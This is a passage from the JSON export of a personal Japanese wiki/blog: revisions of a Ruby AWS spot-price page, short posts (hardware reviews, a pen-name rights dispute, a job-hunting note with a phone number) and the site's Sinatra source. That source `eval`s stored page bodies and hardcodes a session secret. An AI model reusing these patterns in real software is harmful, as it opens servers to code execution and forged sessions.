%th 最近の安値\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:az]\r\n %td=i[:mini]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:37:02.000Z","updated_at":"2015-03-09T15:37:02.000Z"},{"id":2833,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\ndef mini_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 1000000000000\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f\r\n i = t if i \u003e t\r\n }\r\n i\r\n }.sort.first\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n mini = mini_price(x.first)\r\n {name: x.first, desc: x.last, price: ppoi.first, mini: mini, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n %th 最近の安値\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:az].to_s+\" \"\r\n %td=i[:mini]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:37:22.000Z","updated_at":"2015-03-09T15:37:22.000Z"},{"id":2834,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\ndef mini_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 1000000000000\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f\r\n i = t if i \u003e t\r\n }\r\n i\r\n }.sort.first\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n mini = mini_price(x.first)\r\n {name: x.first, desc: x.last, price: ppoi.first, mini: mini, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最近の安値\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:mini]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:38:38.000Z","updated_at":"2015-03-09T15:38:38.000Z"},{"id":2835,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\ndef mini_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 1000000000000\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f\r\n i = t if i \u003e t\r\n }\r\n i\r\n }.sort.first\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['c4.8xlarge', '36CPU 60GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n mini = mini_price(x.first)\r\n {name: x.first, desc: x.last, price: ppoi.first, mini: mini, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最近の安値\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:mini]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-10T02:04:00.000Z","updated_at":"2015-03-10T02:04:00.000Z"},{"id":2836,"name":"text/m-stick 買った","body":"%blog%\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00QESEZSU/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00QESEZSU\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eマウスコンピューター スティック型WindowsPC / m-Stick (Win8.1withBing/AtomZ3735F/2GB/32GBeMMC) MS-NH1-AMZN\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00QESEZSU\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00QESEZSU\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n気づけば定価でふつうに買えるようになってたので買った。\r\n\r\nテレビにつないで TvTest 見たり Hulu 見たり自前の録画サーバーの動画見たりしたかった。\r\n\r\nTvTest は Full HD で気持ちよく動く。ただ WiFi の感度がかなりアレなので強力なルーターを使ってない人は m-stick の近く(たいていはテレビの裏だろう)に WiFi ルーター引っ越すなどしたほうがいいと思う。\r\n\r\nHulu については本当に残念で、 Full HD だと結構激しくコマ落ちする。 Youtube でも同様。動きが激しいシーンはガックガクになる。\r\n\r\n「Full HD のインターネット動画も問題なく閲覧可能」みたいなレビューがかなり多く見られましたが嘘です。「動きが全然ないしょぼい Full HD の動画ならなんとか閲覧可能」が正解です。\r\n\r\nただ 1366x768 で動かしてれば Hulu の動画も問題無く再生できる感じなので、ブラウザのプロセスが起動してれば画面画素数を 1366x768 にして、そうでないときは Full HD にするスクリプトを適当に書いて使ってます。\r\n\r\nキーボードとマウスは\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00KW3OFG0/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00KW3OFG0\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eiClever 2.4GHzミニワイヤレスQWERTYキーボード(IC-RF02) マルチタッチマウスのタッチパッドを搭載 PC/Pad/Andriod TV Box/Google TV Box/Xbox360/PS3/HTPC/IPTVに適用(Samsung スマートTVに対応していません) 2.4GHz無線[ブラック]\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00KW3OFG0\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00KW3OFG0\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nを使ってます。テレビから 1-2m ぐらいの距離で使う分には快適。 3-4m 離れるとタッチパッドの感度ががくっと下がる感じがあります。\r\n\r\n## まとめ\r\nもう一万積んで \u003ca href=\"http://www.amazon.co.jp/gp/product/B00LUQGQ4W/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00LUQGQ4W\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eLIVA\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00LUQGQ4W\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e 買ったほうがいいと思う。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00LUQGQ4W\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n","created_at":"2015-03-18T13:07:26.000Z","updated_at":"2015-03-18T13:07:26.000Z"},{"id":2837,"name":"text/ミノ☆タロー氏の箕星太朗への改名について","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e【ミノ☆タローから重要なお知らせ3/4】\u0026#10;退職にあたり、「ミノ☆タロー」のペンネームがコナミの著作物となる為、\u0026#10;3月15日よりフリーとして新しいペンネームで活動させて頂く事になりました。\u0026#10;心機一転、色々新しい挑戦に取り組んで行こうと考えております。\u003c/p\u003e\u0026mdash; 箕星 太朗 (@mino_taro) \u003ca href=\"https://twitter.com/mino_taro/status/577270819958599680\"\u003eMarch 16, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこの件。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/mino_taro\"\u003e@mino_taro\u003c/a\u003e ペンネームがコナミの著作物になる件ですが「著作者人格権」の中の「氏名表示権」の侵害になるのではないでしょうか?「著作者人格権」は著作権が他者に移転された後も著作者が一生保有する権利であり、譲渡も放棄も出来ません。弁護士に相談される事を強くお勧めします。\u003c/p\u003e\u0026mdash; acidhead (@acidhead09) \u003ca href=\"https://twitter.com/acidhead09/status/577375810387992579\"\u003eMarch 16, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこの人がうまくまとめてくれてるのでまあこれで終わりでいいんですがなんとなく注釈を。\r\n\r\n### 法律とかの話\r\n\r\n芸名の使用の可否がもめごとになった事案としては、おそらくもっとも有名なのは以下の二件です。\r\n\r\n- 加勢大周の事例\r\n- 高知東急の事例\r\n\r\n加勢大周氏の事例は判決の中で芸名の独占的な使用という契約が合法であると認められたことで話題になったものですが、実際に裁判の中心的な争点となったのは、「加勢大周氏が新事務所と結んでしまった専属マネジメント契約を禁止できるか」という点です。\r\n\r\nなぜこういうことになってしまったかというとあまりにも係争が複雑でなにがなんだかわからない状態になってしまったからです。\r\n\r\nしかしいずれにせよ「芸名を独占的に利用する権利」を契約によって規定することは合法とされました。\r\n\r\n高知東急氏の事例は、よく知られた既存の商標を無許可に芸名に使ってはならないという判断が司法によって下されたとい事例です。\r\n\r\nここで参考になるのは加勢大周氏の事例のほうで、\r\n\r\n- ミノ☆タロー氏がコナミにペンネームの独占的使用を認めるという何等かの契約をしていた\r\n\r\nという場合、コナミの要求は正当なものということになります。この場合考えられるシナリオは「上記のような契約をしていたが、ミノ☆タロー氏がその辺の法律に詳しくないので\"著作物\"というあいまいな言葉を使っている」というものです。\r\n\r\n### もっと、現場に迫った話\r\n芸能人は現在においても指名権だとか肖像の使用権だとかを事務所に独占的な使用を認める形の専属マネジメント契約を結んでいる事例はよくあります。\r\n\r\nそういう契約を結んでいる場合、事務所を移籍したりやめたりする場合には以下のような形になることが多いです。\r\n\r\n- 円満移籍(端的に言ってしまえば移籍先から移籍元に金銭の授受があるような場合)でない場合は、半年間とか一定の期間事務所に所属しないことを契約解除の条件とする\r\n\r\n声優が移籍前に半年フリーになるアレです。その半年ってのがどうなんだとかいろいろありますが、それでお互い納得しましょうみたいな慣習的な、生活の知恵のようなものです。それで回ってんだからとりあえずいいじゃねえか、みたいな。\r\n\r\n芸名/ペンネームが司法によって認められる財産である以上、まあそういう風になるわけです。\r\n\r\n逆に言えば芸名の使用で揉めたりだとか、辞めた直後に改名したりといった場合は、通常の辞め方ではないとんでもないもめ方をしている事例がほとんどです。というか全部です。\r\n\r\nここから先はまったくの憶測ですが、実際にはミノ☆タローのペンネームの独占的使用権をコナミが得るような契約にはなっておらず、しかしコナミは辞めるミノ☆タロー氏に少しでもいいやがらせをしたいので「ペンネームはコナミの著作物だ」などと意味不明な理屈で脅している、というあたりなのではと思ってます。\r\n\r\n### まとめ\r\n- ペンネームの著作権を主張することはできない\r\n- しかし契約によってその独占的使用権を得ることはできる\r\n- 改名する場合は絶対ものすごい退職時に揉めてる\r\n\r\n大変ですね。","created_at":"2015-03-22T07:47:37.000Z","updated_at":"2015-03-22T07:47:37.000Z"},{"id":2838,"name":"text/t90 chi 買った","body":"%blog%\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00TGYMG2G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00TGYMG2G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eASUS TransBook T90CHI ノートブック ( WIN8.1 32BIT-WITH BING / 8.9inch WXGA touch / Z3775 / 2GB / eMMC 32GB / BT4.0 / ダークブルー ) T90CHI-32G\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00TGYMG2G\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00TGYMG2G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこれ買った。\r\n\r\nこの PC よく VAIO P と比較されてるように思うのだけど、使ってみて思うこととしては Libretto に似てる。\r\n\r\nというのは、キーボード側にタッチパッドとかがないので、 TouchMousePointer をインストールして使うことになるので、すると画面の右側だとか左側だとかをポインティングディバイスとして使う感じになって、 Libretto っぽい。\r\n\r\nホームポジションから手を放してポインティングすることになるが、筐体サイズが小さいのであまり支障が無いという特徴も Libretto 同様。\r\n\r\nTouchMousePointer を入れないと本当にまったく使い物にならないし、入れると最高みたいな感じなので、 ASUS とか Microsoft とかの人は TouchMousePointer の作者に 10 億円ぐらい渡したほうがいいと思った。","created_at":"2015-03-23T10:44:53.000Z","updated_at":"2015-03-23T10:44:53.000Z"},{"id":2839,"name":"text/インフラエンジニアのいらないインフラ構築","body":"%blog%\r\n\r\nそういうことについていろいろ考えたり試みたりしてきた結論。\r\n\r\n## Heroku に金払え。プレミアサポートも契約しろ。それで全部済む。","created_at":"2015-03-27T15:36:11.000Z","updated_at":"2015-03-27T15:36:11.000Z"},{"id":2840,"name":"text/アレです","body":"%blog%\r\n\r\n![退職](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nそんな感じです。 Web アプリケーションエンジニアが欲しい人いたら連絡ください。インフラまわりと UI 関連でいろいろできます。\r\n\r\nmail@ssig33.com \r\n090-1450-2501","created_at":"2015-04-25T15:08:13.000Z","updated_at":"2015-04-25T15:08:13.000Z"},{"id":2841,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if 